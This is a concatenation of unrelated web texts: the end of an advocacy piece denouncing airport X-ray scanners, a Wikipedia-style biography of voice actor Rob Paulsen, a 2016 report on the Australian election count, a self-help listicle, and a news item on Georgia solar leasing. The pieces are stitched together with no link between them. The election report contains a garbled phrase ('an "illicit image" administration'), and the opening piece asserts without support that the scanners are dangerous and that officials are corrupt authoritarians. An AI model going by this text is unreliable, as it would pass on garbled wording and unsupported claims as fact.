as a precedent for global travel, including the United States, as the journey from “opt-out” to “mandatory” continues unimpeded.  Avoiding The Eye - Ships Free Today! We must continue to expose the corrupt authoritarians that are forcing this dangerous technology upon us even as we make our voices heard that we see through their lies and distortions. We must also reach out to airport workers who are being affected the most by these X-ray machines. The corporatist political structure will never stop without mass outrage, mass non-cooperation, and a mass stand-down by those on the front lines of the war against human dignity and human rights. Please help us combat censorship: vote for this story on Reddit — http://www.reddit.com/r/conspiracy/comments/pcjef/australia_becomes_first_to_ban_travelers_who/ Read other articles by John Galt here. var linkwithin_site_id = 557381; linkwithin_text=’Related Articles:’
-Fight Club character, see This article is about the voice actor. For thecharacter, see Robert Paulson  Robert Fredrick Paulsen III (born March 11, 1956) is an American voice actor and singer who has done many voice roles in various films, television shows, and video games, including Raphael and Donatello from the 1987 and 2012 cartoons respectively of Teenage Mutant Ninja Turtles; Yakko Warner, Dr. Otto Scratchansniff, and Pinky from Animaniacs and Pinky and the Brain;[2] Carl Wheezer from Jimmy Neutron: Boy Genius; and the title character in The Mask: Animated Series. In total, Paulsen has been the voice of over 250 different animated characters and performed in over 1000 commercials. He continues to play parts in dozens of cartoons as well as characters in animated feature movies.  Career [ edit ]  Early career [ edit ]  He began his voice-over career in 1983 with the mini-series G.I. Joe: A Real American Hero, where he played "Snow Job" and "Tripwire". A few years later, his career launched into more roles such as "Cobra Slavemaster" and reprising "Snow Job" and "Tripwire" on G.I. Joe, "Corky" on The Snorks, "Marco Smurf" on the later seasons of The Smurfs, "Boober" on the animated version of Fraggle Rock, "Hadji" in The New Adventures of Jonny Quest and the title character – "Saber Rider" and the villain "Jesse Blue" on Saber Rider and the Star Sheriffs.  Live action acting [ edit ]  During the 1980s, Paulsen also explored the field of live action films. His first movie was Eyes of Fire in 1983. He played supporting roles in Body Double, Stewardess School, Warlock, and Mutant on the Bounty. He appeared in television shows during this time as well, such as MacGyver and St. Elsewhere. He mentioned in an interview, regarding his role in Body Double, that he would not want his child (who was very young at the time of the interview) to see the movie, so he could not really be proud of his work.  Advertising [ edit ]  Paulsen became more prevalent in the world of advertising as well. In the 1980s, he had been the announcer for the sitcom Cheers and continued to secure roles as an announcer. He appeared as the voice of "Mr. Opportunity", spokesman of Honda commercials on TV and radio, the announcer for Buffalo Dick's Radio Ranch, and the spokesman for Lucky Stores, a West Coast grocery store chain, before it was acquired by Albertsons in 1998. He provided the voice of "Dog" in the Taco Bell kids meal commercials from 1996 to mid-1997, with Eddie Deezen as the voice of "Nacho" the cat.  However, Paulsen's most famous advertising role was in the original commercial of the now ubiquitous Got Milk? campaign. The famous commercial, Who shot Alexander Hamilton in that famous duel?, aired in 1993, and launched the Got Milk? campaign into a monstrously successful enterprise. Paulsen continues to be one of the most sought-after commercial voice actors in the industry.  He can be currently heard as the voice of singing Mr. Mini-Wheat in the Mini-Wheats commercials in Canada.  Teenage Mutant Ninja Turtles [ edit ]  From 1987 to 1995, Paulsen voiced Raphael and various supporting characters in the original 1987 Teenage Mutant Ninja Turtles series. Originally starting as a five-part miniseries, the series continued for ten seasons and 193 episodes. It was a great success and became an instant pop culture symbol. Paulsen has said that Raphael's voice is very similar to his natural voice.  He returned to the franchise as Donatello for the new 2012 Teenage Mutant Ninja Turtles series on Nickelodeon.[3] Paulsen will serve as the voice director for the 2018 series, Rise of the Teenage Mutant Ninja Turtles.[4]  Animaniacs; Pinky and the Brain [ edit ]  Rob Paulsen with Pinky at Anthrocon 2007  Throughout the early 1990s, Paulsen continued to co-star in animated series, which allowed him to branch further into radio and television announcements and dropped live action acting from his repertoire. In 1993, he voiced "Antoine D'Coolette" in ABC's series Sonic the Hedgehog, and "Arthur", an insecure accountant in a moth costume (wings included), in the superhero series The Tick in 1995, replacing Micky Dolenz, who had originally played Arthur.[citation needed]  In 1993, he starred as the title character in both Mighty Max and The Mask. Also at this time, he starred in what became one of his most popular roles, "Yakko Warner" of Animaniacs. Paulsen also provided the voice of "Pinky" from both Animaniacs and its spin-off Pinky and the Brain, a show which won him several Annie Awards and a Daytime Emmy in 1999.[citation needed] He also did a number of characters in Tiny Toon Adventures, including "Fowlmouth", "Arnold the Pit Bull", and "Concord Condor". In the direct-to-video movie Tiny Toon Adventures: How I Spent My Vacation, he did the voices for "Banjo Possum", "Mr. Hitcher" (who would also appear in other episodes), and "Johnny Pew".[citation needed]  Roles [ edit ]  Animation [ edit ]  Paulsen has provided voices for a great number of characters, among which are Yakko Warner, Dr. Otto Scratchansniff and Pinky in Animaniacs, Steelbeak in Darkwing Duck, "Brick" and "Boomer" in The Powerpuff Girls, Atchan in Hi Hi Puffy AmiYumi, Spooky the Tuff Little Ghost in The Spooktacular New Adventures of Casper, Ogden O. Ostrich in Channel Umptee-3, Hathi in Jungle Cubs, "Jack Fenton", "The Box Ghost", "Nicolai Technus", and "The Vulture Ghosts" in Danny Phantom, "Carl Wheezer", "Butch" and "Skeet" in Jimmy Neutron, "Mark Chang", "King Grippulon", "Happy Peppy Gary" and "Bucky McBadbat" in The Fairly OddParents, Peck the Rooster in Barnyard and Back at the Barnyard, and "Gordon" in the Nickelodeon cartoon Catscratch.  He was also the voice of "Rothchild" in the early episodes of Samurai Jack. Additionally, Paulsen provided the voice of "P.J. Pete" in Goof Troop, A Goofy Movie, and An Extremely Goofy Movie, as well as the voices of Ratchet and Dr. Debolt in the TaleSpin pilot episode and introductory TV movie Plunder & Lightning. He also did the voices of Boober Fraggle, Sprocket, and Marjory the Trash Heap in the animated version of Fraggle Rock, as well as Gwizdo in the Dragon Hunters movie.  He also voiced "Zeek" and "Joshua" in K10C: Kids' Ten Commandments, Rude Dog in Rude Dog and the Dweebs, and Archie the Raccoon, A.K.A. Ze Archer, in "Mask of the Raccoon" on The Penguins of Madagascar. He reprised his role as "Throttle" in the 2006 Biker Mice from Mars, and also provided the voices of 2T Fru-T, Mike Ellis, Dark Comet and Ronald in the 2001 cartoon series Butt-Ugly Martians.  He portrayed the voice of Chomper and Strut in The Land Before Time II: The Great Valley Adventure, Spike and Rinkus in The Land Before Time sequels and Spike in the TV series, but Spike was played anonymously in the original The Land Before Time. Paulsen also played Mo in The Land Before Time IX: Journey to Big Water. Paulsen also voiced the robot "D.E.C.K.S." in the early 1990s TV series Wake, Rattle, and Roll. Paulsen also voiced Prescott A. Wentworth III in the Jem episode The Fan.  Paulsen was best known to Transformers fans as the voices of the Autobots Air Raid, Chase, Haywire, Fastlane and Slingshot in The Transformers.  Video games [ edit ]  In video games, much voice talent has bled over from television and radio voice actors. Paulsen has appeared in video games such as Doom 3 and ClayFighter 63⅓. He played Fluffy, the Chinese-crested dog, in 102 Dalmatians: Puppies to the Rescue, an Irish-talking pubtender in the 1996 video game Toonstruck, and Morte, a floating, talking skull, in Planescape: Torment, as well as Anomen Delryn in Baldur's Gate II: Shadows of Amn and Gray Fox in Metal Gear Solid: The Twin Snakes and both Super Smash Bros. Brawl and Super Smash Bros. Ultimate as an Assist Trophy. He provided the voice for Erik the Swift of The Lost Vikings in its second installment. He portrayed Tobli and Lian Ronso in the English version of Square Enix's Final Fantasy X-2 and has played the lead character in Bubsy. Although an extremely minor role, Paulsen has also done the voice for the Greek soldiers in God of War. He voiced Jaq and The Grand Duke from the Cinderella world in Square Enix's and Disney's Kingdom Hearts Birth by Sleep.  In the video game The Nightmare Before Christmas: Oogie's Revenge, he did the voice of Igor. He also reprised his role as Yakko Warner, Dr. Otto Scratchansniff, and Pinky in Animaniacs: The Great Edgar Hunt. Rob Paulsen voiced the lead character, Lazarus Jones, in the PS2 game Ghosthunter, and played The Duck Avenger in Disney's PK: Out of the Shadows. Rob also voiced Alfredo Fettuccini, Bob the Ghost Pirate, Lookout and Ghost Priest in The Secret of Monkey Island: Special Edition. He voiced the Fox and the Mouse in the Green Eggs and Ham PC game. He also voiced Tlaloc in Tak and the Power of Juju. Most recently he has voiced The Riddler in Lego Batman 2: DC Super Heroes, a role he reprised in Lego Batman: The Movie – DC Super Heroes Unite. Rob is the voice of talking alien dog Beak-Beak in Armikrog. Paulsen also voices Smash Hit in Skylanders: SuperChargers and Skylanders: Imaginators.[5]  Other [ edit ]  Paulsen is also the off-camera voice of the syndicated television series Funniest Pets & People, which is seen on Superstation WGN and other television stations throughout the United States and abroad.[citation needed]  Current roles [ edit ]  Rob Paulsen at the 2006 Annie Awards.  It was not long before Paulsen returned to Warner Bros. Animation, which had diverged into a new era of television serials (following what is sometimes referred to as the "Silver Age of Animation"). Paulsen appeared as "Rev Runner" of the new show Loonatics Unleashed and starred in Coconut Fred's Fruit Salad Island. He was also the voice of the character "Squeeky" on the TV show Danger Rangers. He voiced "Ichabeezer" and "Tom Celeriac" (a play on Tom Selleck) in VeggieTales in the House for Netflix. Paulsen also provides the voice for the Honda character "Mr. Opportunity." In the Rob Zombie animated film, The Haunted World of El Superbeasto, Paulsen voiced the characters "El Gato" and "Commandant Hess", among some others. He also has a role as "Ditto", one of the alien forms on Ben 10, as Rhomboid Vreedle of the Vreedle Brothers and Baz-El in Ben 10: Alien Force, two characters that he reprised, along with a new character, Magister Patelliday on Ben 10: Ultimate Alien and Ben 10: Omniverse.[citation needed]  Paulsen is also the current voice of classic Disney character "José Carioca". Rob became the new voice of "Prince Eric" of Disney's The Little Mermaid II: Return to the Sea since Christopher Daniel Barnes failed to reprise the role in 2000, though Barnes did return to voice the character in the Kingdom Hearts series when Paulsen was unavailable.[6] Another Disney character he is currently the voice of is Toodles from the kids show "Mickey Mouse Clubhouse". From season 3, he voiced Toodles in Happy Birthday Toodles, Road Rally, and Space Adventure, as well as every episode of season 4. He is also the voice of Peck the Rooster and other minor characters in the Nickelodeon computer-animated series Back at the Barnyard and various characters on the Disney Channel animated series The Replacements. He is the voice of Bobble in the Tinker Bell movies. Paulsen also played the titular character for an animated web series based on the video game Bravoman for Namco Bandai's ShiftyLook division.[7]  Awards and nominations [ edit ]  Paulsen has been nominated for an Annie Award for his role of Pinky for 4 consecutive years, which he won in 1996, 1997, and 1999. In 1999, he also won the Daytime Emmy Award for voicing Pinky.[citation needed]  In 2004, he was nominated for his role of the Troubadour in Mickey, Donald, Goofy: The Three Musketeers, and in 2005, he was nominated for his role in The Happy Elf.[citation needed]  Public appearances [ edit ]  Paulsen at the 2011 San Diego Comic-Con International  Paulsen has been a regular industry guest and featured panelist at San Diego Comic-Con International over the past several years. He has also appeared at animation industry-related events, such as the World Animation Celebration Online in 1998, among many others. He has also been a guest at several anime conventions, including JACON, Mikomicon, and Anime Overdose. Paulsen was a guest of honor at Anthrocon in 2007. He has recently started doing "Rob Paulsen Live" seminars across the U.S. to talk of his career, sign autographs, and talk with fans.  Sometimes, people in attendance would request him to sing the famous Yakko's World number, where he sings all the nations of the world with his Yakko voice in a fast-paced delivery without rehearsing.  In May 2011, working with social media and web producer Chris Pope, Paulsen rolled out a brand new website RobPaulsenLive.com, as well as a weekly audio podcast called Talkin' Toons with Rob Paulsen, which is managed and deployed by The Tech Jives Network.[8] Episodes are currently recorded before a live audience at The Improv in Hollywood, California on a biweekly basis.  In June 2011, Paulsen made announcements that he was taking his show on the road with his "Lots of laughs and autographs" tour. Working closely with a team that included Chris Pope, his publicist, and others he made his first successful tour in Atlanta, Georgia, which happened on July 30, 2011, and another in Dallas, Texas on September 17, 2011, that required two seminars, one in the afternoon and one in the evening, as they were so popular.[9]  Personal life [ edit ]  Paulsen was born in Detroit, Michigan to Lee Paulsen. He is married to Parrish Todd and has one son, Ashton "Ash" Paulsen, who himself is a gaming journalist on GameXplain. In an interview with a Chicago TV station, Paulsen described himself as "a singer who decided to become an actor." Growing up in Grand Blanc, Michigan,[10] Paulsen sang in choirs throughout his youth and adolescence and began performing in plays in grammar schools. However, his idol growing up was Gordie Howe of the Detroit Red Wings; he considered the arts to be a secondary career choice, primarily interested in becoming a professional hockey player.  Paulsen has long supported charity organizations and donated considerably for cancer research. He has worked a lot for GOALmodels, a program for adolescents, and is a sponsor of Camp Will-A-Way, a camp for mentally and physically disabled children. Paulsen also donates funds from autographs to the Wounded Warrior Project and Operation Smile.  In February 2016, Paulsen was diagnosed with Stage III throat cancer. Paulsen has since undergone treatment, and his cancer is now in remission.[11]  Filmography [ edit ]  Paulsen voices most of the characters with his original accent which is American, but he used a British accent to voice Strut in The Land Before Time II: The Great Valley Adventure and Brunch in Scooby-Doo and the Reluctant Werewolf while using a Scottish accent to voice Bobble in the Tinker Bell movies. In his role as Pinky, Paulsen used an exaggerated Cockney accent, especially in earlier episodes. He even used a Brooklyn accent for Reuben (Experiment 625) in Lilo & Stitch: The Series.  Television [ edit ]  Film [ edit ]  Video games [ edit ]  Internet [ edit ]  Theme parks [ edit ]
-RESPECTED election analyst Antony Green is predicting the Coalition will get the seats it needs to form government.  While the official seat count still sits at 63 for the Coalition, the ABC analyst said he thought he could “pretty accurately predict” the Coalition would achieve between 75 to 77 seats.  “All the seats which are in doubt are starting to trend towards the Coalition so 76 may be an underestimate, it may be 77, we’ll see,” Mr Green said during an appearance on the ABC 7pm news bulletin.  He said the Coalition definitely had 73 seats and it needed to gain three of the six seats still in play, to form government.  The seats of Capricornia, Herbert and Flynn were the seats to watch as the Labor Party was well ahead in these seats a week ago, but they were all “line-ball” now.  “All the trend in the postal votes has been towards the Coalition and at this stage they will certainly overtake Labor on the remaining postal votes and then it comes down to absent and pre-polls,” Mr Green explained.  “At this stage it looks like the Coalition should get to 76 though I must say on the chamber it is 76 plus or minus one so we’re saying between 75 and 77.”  ABC’s election computer updated its seat election guide to predict the Coalition on 76 seats, compared to 69 seats for Labor.  ABC election analyst @AntonyGreenABC predicts Coalition will win between 75 and 77 seats #ausvotes https://t.co/yhsqQSI0PM — ABC News (@abcnews) July 8, 2016  Insiders host Barrie Cassidy also appeared and said Australians could now say the country had a government.  “Technically, even though Forde in Queensland is still in doubt, both sides of politics concede that Forde will go to the Coalition,” he said.  In another promising sign, the Australian Electoral Commission removed Forde from its list of close seats on Friday night.  “We can for the first time this week, tonight, we can say we have a Prime Minister, we have a Government,” Cassidy said, adding “we have one at this point relying on the independents Cathy McGowan and Bob Katter”.  The two independents have said they would back a Coalition government, ensuring Malcolm Turnbull will continue to be Prime Minister.  But Cassidy said if Mr Turnbull had been able to declare victory on Saturday night it would have avoided an uncertain and unstable week.  It comes as Labor’s lead in the seat of Flynn dropped to just seven votes, and its lead in Capricornia fell to 175 votes indicating the seats were likely to go to the Coalition.  The Coalition has already won 63 seats, and is ahead in one other. It only needs three more to form a majority government.  INDEPENDENTS GUARANTEE SUPPLY  While the Coalition is looking increasingly likely to hit its 76 seat target, Malcolm Turnbull’s leadership is looking secure after three independents said they would back him if the Coalition falls short.  Yesterday, independent Kennedy MP Bob Katter said he would guarantee supply and confidence for the Coalition if there was a hung parliament. Today he was joined by Indi MP Cathy McGowan. Denison MP Andrew Wilkie has also said he would not vote against a Budget supply bill.  Ms McGowan appeared before the media today after meeting with the PM and confirmed she would support the Coalition, although she will continue to vote on legislation based on its merits.  Andrew Wilkie released a statement saying: “I will continue to vote on parliamentary business on its merits, and consequently not support a vote against budget supply or confidence in the government unless clearly warranted, for example in a case of malfeasance”.  He said there was “no conceivable way” that Bill Shorten would be in a position to form government and his focus had turned to doing what he could to foster stable government.  “To be absolutely clear, I remain steadfast that I will not enter into any deal with any party in order to help them form government,” he said.  “But nor will I be destructive, especially at a time like this when more than ever the country needs level heads and certainty.”  Earlier Cathy McGowan, who defeated the Liberals’ Sophie Mirabella in the seat of Indi, said she would offer supply and confidence.  “While maintaining my complete independence, I am prepared to contribute to the stability of the 45th parliament by continuing with my past practice of supporting the government of the day,” Ms McGowan said.  This means she will guarantee supply and confidence for the government, but will still consider each piece of legislation on its merits.  When asked whether she had asked for anything in return for her support, Ms McGowan said: “I asked for goodwill, I asked for regularly being in touch with each other, I asked for good governance and stability,” she said.  ABC election analyst Antony Green said this morning there was no doubt Malcolm Turnbull would be returned as prime minister.  “Malcolm Turnbull is the Prime Minister and will continue as Prime Minister,” he told ABC.  “In that sense, they have won, it’s just simply a matter of whether they have got a majority or not.”  BILL SHORTEN HOLDS ON TO LEADERSHIP  Meanwhile, Bill Shorten has kept the Labor leadership after a vote today.  The Labor caucus passed a motion of confidence in Mr Shorten and his leadership team.  The motion, moved by Anthony Albanese at a meeting in Canberra on Friday, also authorised the leadership team to “negotiate with crossbench members to advance Labor’s agenda in the 45th parliament”.  It applauded Mr Shorten and the Labor team for holding the coalition to account “for their extreme right wing agenda” while also advancing Labor’s positive agenda.  Earlier Mr Shorten named the remaining “close counts” as being in the seats of Hindmarsh, Capricornia and Herbert.  “This caucus can gather in a spirit of some reasonable optimism,” he said.  “We are united, we are determined and we are most certainly positive. Unlike our opponents, we fought this election as a team.”  He said the campaign had delivered the second-biggest swing against a first-term government in Australian history.  WHY THE COALITION IS ACTING SO COCKY  Looking at the seat count it all seems pretty close but numbers can be very misleading.  Even though the Coalition seems short of declaring victory, this didn’t stop one minister from trumpeting that the election was in the bag.  “We have won again. That’s our sixth victory out of eight in the last 20 years,” Mr Pyne declared on Channel 9’s Today this morning.  “We will form a majority Government and we’re also making arrangements with some of the crossbenchers for supply and confidence, so we will have a solid Government.”  Prime Minister Malcolm Turnbull has not repeated the claims, although he has always maintained confidence in the Coalition forming a majority government.  The two party preferred count this morning showed there were just eight votes separating the Coalition and Labor. While this has grown to 450 votes, it still seems very close.  But ABC election analyst Antony Green has explained why the Coalition has reason to be confident.  According to the ABC election calculator, the Coalition has 73 seats in the bag.  On paper that’s three seats short of a majority and there’s only six seats still in play. Even more worryingly, Labor is ahead in all of these seats except the Queensland seat of Forde.  So why the bluster?  In three of the seats where Labor is leading, it does so by less than 700 votes. So with postal and other votes favouring the Coalition, it could get over the line in the Queensland seats of Capricornia, Flynn and Herbert.  It only needs to win two of these three seats to form government.  Then there’s the independent factor.  The veteran north Queensland MP Bob Katter met with Mr Turnbull on Thursday and said he would support the Coalition for budget supply and confidence when parliament returned in August.  He was joined by Indi MP Cathy McGowan and Denison MP Andrew Wilkie today.  This basically means they will support the Coalition in forming government, and puts three extra votes in their pocket.  As Mr Green pointed out, if the Coalition is leading in the seats of Capricornia, Flynn and Herbert by the end of today’s counting, it all but guarantees a majority government.  “I have 73 seats (for the Coalition), I have them ahead in another and I have them well on track to win — possibly winning two of the other three seats which would give them majority,” he said.  “Maybe if they win all three, it would be 77.”  CURRENT SEAT COUNT  Here is the current vote count as of Friday 7.57pm AEST from the Australian Electorate Commission website:  • Forde, Queensland — Liberal National Party’s lead has doubled to 783 votes  • Flynn, Queensland — Labor’s lead of 674 votes has dropped to just seven votes  • Herbert, Queensland — Labor leading by 348 votes  • Capricornia, Queensland — Labor’s lead of 476 votes has dropped to 175 votes  • Cowan, Western Australian — Labor’s lead narrowed to 488 votes  • Hindmarsh, South Australia — Labor’s lead has grown to 177 votes  Although Cowan and Hindmarsh are also close, the postal and other votes are not strongly swinging to the Liberal party.  WHAT DOES GUARANTEEING SUPPLY MEAN?  Two independents have publicly supported the Coalition forming government, saying they will “guarantee supply and confidence”.  This means they will vote with the Coalition on key bills authorising the government to spend money and keep paying its staff.  They will also vote to support the Coalition if a “no-confidence motion” is introduced by the Opposition. If the government doesn’t survive a no-confidence motion this means the PM has to resign or call for the House of Representatives to be dissolved.  PYNE 19  Mr Turnbull’s leadership may be safe today, but could a new challenger for his crown have already emerged?  On Today on Friday morning, host Ben Fordham suggested the success of the ‘Kevin 07’ election campaign could be repeated with ‘Pyne one-nine’. Albo even got in on the joke holding up a poster emblazoned with Pyne 19 and claiming Parliament was plastered with them.  Hottest item in #auspol is #Pyne19 shirts. If you want 1 tell us how much you adore @cpyne 140 characters or less pic.twitter.com/Azr33Ke3XA — BenFordham (@BenFordham) July 7, 2016  Asked if he might consider a challenge to whoever was Liberal leader in 2019, Mr Pyne said: “I am a very loyal team man. I strongly support Malcolm Turnbull going forward as Prime Minister and I look forward to being part of his team in the leadership group in Canberra.”  It may have been a dry answer but even Mr Pyne couldn’t help but eventually chuckle at the prospect of Pyne one-nine.  ‘BACK AT THE POLLS SOON’  A brutal Labor Opposition is likely as Mr Turnbull prepares to create a minority Government or one with a puny majority.  And senior Labor figures are warning the instability is likely to produce yet another election — soon — as the Coalition struggles to deal with the cross bench member and its own internal dissent.  “I wouldn’t be at all surprised if we are back at the polls very soon,” Labor front bencher Anthony Albanese told ABC radio. “Definitely much, much sooner than three years, because of (the Coalition’s) failure to provide that leadership.”  Labor Deputy Leader Tanya Plibersek said “a very unstable” Turnbull Government would probably be returned.  “This is a pretty great result” from the election for Labor, Ms Plibersek told ABC radio.  She said: “We’ve got a deeply divided unstable Government and we need to be  prepared to back to the polls sooner rather than later.”  LABOR LEADERSHIP  Mr Shorten’s position as Opposition Leader is expected to be reconfirmed on Friday as the Labor caucus meets in Canberra in a sign the party is close to conceding it will not be able to form Government.  Party rules dictate that the leadership is thrown open in the event of an election loss and a ballot of grassroots and caucus members is held if there are two contestants.  Despite speculation immediately after Saturday’s election that Mr Albanese might challenge, he now won’t be standing and will instead throw his weight behind Mr Shorten.  However, Mr Shorten will face pressure to deliver the Left an extra frontbencher.  In preparation for opposition, Labor figures are threatening to treat a minority Turnbull administration in the same way the Labor Government of Julia Gillard was treated after the 2010 election.  She was ranked the head of an “illicit image” administration without authority by the Coalition Opposition of Tony Abbott.  On Thursday, Mr Shorten also acknowledged that a Coalition Government was shaping up as the most likely outcome.  “What I am making very clear here is that if Mr Turnbull is dragged across the line narrowly, his problems, and unfortunately Australia’s, are only just beginning,” he said.  KEY INDEPENDENT BACKS TURNBULL  Despite increasing confidence he can reach the magic 76 number, Mr Turnbull is still preparing for a hung parliament.  On Wednesday, he met with potential kingmaker Nick Xenophon in Sydney and yesterday spoke to re-elected MP Bob Katter and other independents in Queensland, also taking the time to pose for selfies with Brisbane locals — a smile we haven’t seen in days.  On Thursday, Mr Katter declared his support for the government after “amicable” talks with Mr Turnbull. But the independent said he maintained his right to change his position at any time and his support depended on several political issues.  Asked if he thought Mr Turnbull was listening to him yesterday, he laughed: “When you’re on 74 seats and you need 76, I thought he was listening very closely.”  His promise will make the Prime Minister feel even more comfortable in his position.  CREDIT RATING CONCERNS  “I am very confident, very confident indeed that we will form ... a majority government in our own right, but I am, of course, talking to the crossbenchers as well,” Mr Turnbull told reporters, referring to the independent and minor party politicians who sit between the two main parties and could hold the balance of power in a divided parliament.  “But so far the counting trends are very positive from our point of view.”  Whether other independent MPs will support the Coalition is not yet certain. Senator Xenophon told the ABC that he, Katter and Jacqui Lambie, “share a concern about Australian jobs and Australian manufacturing and Australian farming land ... when it comes to our foreign investment.”  Counting in the Senate also continues with a possible outcome looking like the Coalition on 30 seats, Labor 27, Greens nine, Nick Xenophon Team three and other independents seven.  The state of the nation is still far from stable, with Standard & Poor’s downgrading Australia’s triple-A long term credit rating outlook to negative on Thursday, thanks to growing fiscal vulnerabilities.  Mr Shorten said the S & P statement was a vote of no confidence in the PM.  Treasurer Scott Morrison, who has said he’s confident the Coalition won’t need crossbenchers to form a minority government, admitted yesterday that “the report has been issued on the basis of the election, they have made that very clear.”  Nevertheless, Mr Morrison insisted the government’s focus on a strong economy was the correct response.  “It would not be the responsible thing to do in this environment to take policy decisions that increase the deficit,” he said, in a clear dig at Labor’s budget. “I have no intention of postponing the pace of fiscal consolidation.  “What the Australian people want to be reassured of is that there is a clear plan.”  Shadow Treasurer Chris Bowen saw it differently, saying the report was “a vote of no confidence in this Government’s ability to deal with the Budget situation.”  He also criticised Mr Turnbull’s decision to call a double dissolution election, saying it had increased the likelihood of political instability.  — with AAP
-Successful people lead their lives on purpose with uplifting truths, empowering habits, and strong principles. Their life of success is a direct result of their conscious choices and healthy habits.  Here are 20 habits people unintentionally pick up, that successful people make it a point to consciously avoid.  1. They Don’t Define Success With Money.  Most successful people define their success with happiness, inner peace, and positive contributions – more than money. Being financially secure certainly can help open opportunities, relieve stress, and offer some piece of mind. But successful people realize that all the money in the world cannot make you happy if you are unable to feel happiness from within.  2. They Don’t Start Their Day Without a Purpose or a Plan.  Not only do successful people have crystal clear short and long-term goals, they also know exactly what they must accomplish each day to feel fulfilled as well as bring them closer to their goals. They also take full advantage of the “Golden Hour” which is the first hour after you wake up in the morning. What you do mentally, physically, and spiritually during this first hour, sets the tone for the entire day.  3. They Don’t Set Perfection as a Goal.  Successful people practice progress over perfection. The danger in focusing on perfection is, you become so consumed in finding imperfections to fix, you will have little or nothing to show for in the end except unfinished, imperfect work. By understanding it’s not about achieving one perfect goal, but the skills you develop from reaching several goals, you allow yourself to make constant improvements while living a life of accomplishments you can learn from and be proud of.  Advertising  4. They Don’t Surround Themselves With Negative People.  There is energy in everything, and that includes human beings. As such, it’s fairly easy to absorb negative energy when you are around toxic people who are always complaining, procrastinating, and making excuses. Instead, successful people surround themselves with other positive and proactive people who inspire them to achieve great things and live full out.  5. They Don’t Focus on the Negatives.  Successful people don’t entertain self-defeating negative thoughts. When faced with difficulties, they’re quick to identify the benefits from the experience and remind themselves they’ve successfully overcome many hurdles before, so they can certainly overcome it again. Successful people don’t focus on what “could” go wrong, but on what they must do to succeed, as well as the lessons they will gain from the experience to help improve their lives.  6. They Don’t Dwell on Failures.  Successful people accept that failure is an essential part of growth. They look at these bumps as opportunities to learn, grow, and become even better for an even bigger win ahead! They know that no matter how many times you’re knocked down, as long as you get right back up and use your new strength and knowledge to improve, you haven’t really failed.  7. They Don’t Dwell in Problems  When you focus on the problems you’re facing, your behavior agrees with the resulting stress, hindering your progress while bringing on even more problems. However, focusing on actions to better your current situation produce clarity and positive thoughts, opening you to the possibilities of new solutions. Successful people don’t dwell on problems. They quickly process any negative feelings and move on, because they know they’re most effective when they focus on solutions.  Advertising  8. They Don’t Concern Themselves With How Others Judge Them.  Successful people do not base their worth on how others think of them because they’ve set their own values, goals, and principles without having to depend on anyone to validate them. Everyone sees through eyes of personal life experience and individual interpretation. As such, successful people understand that when someone makes a judgement about you or your life, it doesn’t make it a reality unless you agree with it.  9. They Don’t Make Excuses.  Successful people are proactive – they get things done. While they realize outside forces may interrupt their flow, successful people take full responsibility for the attitude they choose in situations over which they have no control. They look forward to the pleasure and benefits of accomplishing their daily tasks and life goals and they do whatever it takes to avoid the pain of falling through and giving up success.  10. They Don’t Get Jealous Over Other People’s Victories.  Successful people believe that there is enough supply of “wins” for everyone. They know that the more successful and happy people there are on our planet, the stronger, more positive energy our world will be filled with. If another person succeeds at something they have not yet been able to achieve, successful people show gratitude for their win because it can now serve as added motivation for them to reach that goal as well!  11. They Don’t Take Their Loved Ones for Granted.  Successful people agree that work is important, but never as important as experiencing life with the people you love most. Success starts from within, so make time to give your undivided attention to those who mean most to you – including yourself!  Advertising  12. They Don’t Underestimate the Power of Fun.  What’s the point of all the hustle if you’re always left feeling exhausted and frustrated? Successful people know how to relax and have fun. They know the importance of taking breaks to recharge their batteries by enjoying all that they have in their life right now.  13. They Don’t Neglect Their Health.  With good health comes the freedom and energy to fully enjoy one’s life. Successful people are aware that unless they’re mentally, physically, and emotionally healthy, they cannot perform at their very best when serving those who count on them.  14. They Don’t Set Blurry Goals  Successful people set clear, specific, and measurable goals. Knowing exactly what you want to achieve keeps you motivated until you get there, and crafting a clear plan of action helps declutter your thoughts and relieve some stress as you move towards the results you want. Having clear goals and actions also allows you to measure how far you’ve come and how much more you have to go, so you’re not left wondering when you’re supposed to begin seeing some results.  15. They Don’t Make Flimsy Decisions  Successful people decide what they want, then burn the boat. Once they make a decision, they set their minds to do whatever it takes to make it happen. This habit also helps build confidence in a person by proving to themselves that they’re dependable and have the ability and drive to make things happen just as they said they would.  Advertising  16. They Don’t Allow Themselves To Be Victimized  When affected by someone else’s poor choices, successful people quickly process any negative thoughts and feelings, then choose to free themselves from the damaging energy by forgiving and letting go. They place a high importance to their right to happiness and inner peace, and understand they have complete control of their thoughts and actions, and ultimately responsible for their own happiness and victories.  17. They Don’t Live in the Past  Successful people realize the past has already happened and that moment no longer exist. If you keep dwelling in what was, you will be unable to fully be present for what is, thus negatively affecting what’s to come. If you suffered in the past, try to recognize that you are here today, and you are OK. Your past does not define you or limit what is possible for you to achieve from this moment on. Practice your freedom and power to proactively design a better future that you so deserve.  18. They Don’t Resist Change  Plans, strategies or tactics might change, but instead of getting upset and frustrated, successful people quickly shift paths because they know there is more than one way to reach their goal.  19. They Don’t Stop Learning  Successful people have mentors or coaches to inspire and motivate them when challenged, and keep them accountable to their decisions and goals. They are always learning and keep themselves open to making improvements in themselves and their lives.  20. They Don’t End The Day Without Giving Thanks.  Successful people are grateful for both the big and small blessings in their lives. Reflecting on the positive things from each day before going to bed can boost your mood, motivate you to keep going, and help you unwind.  Have you ever unknowingly picked up a habit that did nothing but drain you of time, energy, and happiness? Are there more you’d add to the list? Share in the comments below!
-Putting solar panels on your rooftop just became way more affordable: Customers can now pay for just the power they get from the solar panels.  A new law took effect Wednesday that allows financing for residents who want to lease rooftop solar panels.  Bo Finau, vice president of business development with Creative Solar USA in Kennesaw, expects his business to double by the end of the year.  “They wouldn’t be paying for the installation, the labor, for the actual panels themselves, and also the insurance,” Finau said. “So there’s quite a few things that are covered and protected while this third-party leasing is in effect.”  Finau said people will likely save around 15 percent off their current utility bills by leasing panels.  Julie Hairston, of the Georgia Solar Energy Association, said the law is a major step in a state where financing was not allowed.  “It’s hard to deny that we have abundant sunshine and that we should be putting it to work for us, and we are now beginning to realize that potential.”  She says customers should be careful about who they choose to finance their solar panels.  Georgia Power also announced it would sell solar panel installation services to interested residential customers.  It is through a separate business unit called the Georgia Power Energy Services.  “It’s an unregulated part of the business, so that those costs are not borne by our rate payers or our regular customers,” said John Kraft, a spokesman with Georgia Power.
